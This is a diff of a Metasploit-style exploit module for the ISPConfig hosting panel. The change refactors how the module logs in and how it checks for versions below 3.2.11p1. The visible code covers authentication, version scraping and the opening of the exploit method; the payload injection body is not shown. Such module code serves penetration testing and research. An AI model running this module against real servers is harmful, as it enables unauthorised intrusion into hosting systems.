@@ -74,38 +74,25 @@ def initialize(info = {})
74
74
def check
75
75
print_status ( 'Checking if the target is ISPConfig...' )
76
76
# Always try to log in and parse version, since credentials are required
77
- # Clear any existing cookies before login
78
- cookie_jar . clear
79
-
80
- login_res = send_request_cgi! ( {
81
- 'method' => 'POST' ,
82
- 'uri' => normalize_uri ( target_uri . path , 'login/' ) ,
83
- 'vars_post' => {
84
- 'username' => datastore [ 'USERNAME' ] ,
85
- 'password' => datastore [ 'PASSWORD' ] ,
86
- 's_mod' => 'login'
87
- } ,
77
+ # cookie_jar.clear (handled in exploit)
78
+ return CheckCode ::Safe unless authenticate
79
+ # Try to access the dashboard or settings page
80
+ settings_res = send_request_cgi ( {
81
+ 'method' => 'GET' ,
82
+ 'uri' => normalize_uri ( target_uri . path , 'help' , 'version.php' ) ,
88
83
'keep_cookies' => true
89
84
} )
90
- if login_res && ( login_res . headers [ 'Location' ] &.include? ( 'admin' ) || login_res . body . downcase . include? ( 'dashboard' ) )
91
- # Try to access the dashboard or settings page
92
- settings_res = send_request_cgi ( {
93
- 'method' => 'GET' ,
94
- 'uri' => normalize_uri ( target_uri . path , 'help' , 'version.php' ) ,
95
- 'keep_cookies' => true
96
- } )
97
- if settings_res
98
- doc = settings_res . get_html_document
99
- # Try to find version in a span, div, or similar element
100
- version_element = doc . at ( '//p[@class="frmTextHead"]' )
101
- if version_element
102
- version_text = version_element . text
103
- version = version_text . split ( ":" ) [ 1 ] . gsub ( " " , "" )
104
- version = Rex ::Version . new ( version )
105
- if version < Rex ::Version . new ( '3.2.11p1' )
106
- print_good ( "ISPConfig version detected: #{ version_text } " )
107
- return CheckCode ::Vulnerable ( "Version: #{ version_text } " )
108
- end
85
+ if settings_res
86
+ doc = settings_res . get_html_document
87
+ # Try to find version in a span, div, or similar element
88
+ version_element = doc . at ( '//p[@class="frmTextHead"]' )
89
+ if version_element
90
+ version_text = version_element . text
91
+ version = version_text . split ( ":" ) [ 1 ] . gsub ( " " , "" )
92
+ version = Rex ::Version . new ( version )
93
+ if version < Rex ::Version . new ( '3.2.11p1' )
94
+ print_good ( "ISPConfig version detected: #{ version_text } " )
95
+ return CheckCode ::Vulnerable ( "Version: #{ version_text } " )
109
96
end
110
97
end
111
98
end
@@ -116,7 +103,7 @@ def authenticate
116
103
print_status ( "Attempting login with username '#{ datastore [ 'USERNAME' ] } ' and password '#{ datastore [ 'PASSWORD' ] } '" )
117
104
res = send_request_cgi ( {
118
105
'method' => 'POST' ,
119
- 'uri' => normalize_uri ( target_uri . path , 'login' ) ,
106
+ 'uri' => normalize_uri ( target_uri . path , 'login/ ' ) ,
120
107
'vars_post' => {
121
108
'username' => datastore [ 'USERNAME' ] ,
122
109
'password' => datastore [ 'PASSWORD' ] ,
@@ -262,6 +249,7 @@ def inject_payload
262
249
end
263
250
264
251
def exploit
252
+ cookie_jar . clear
265
253
unless authenticate
266
254
fail_with ( Failure ::NoAccess , 'Login failed' )
267
255
end
0 commit comments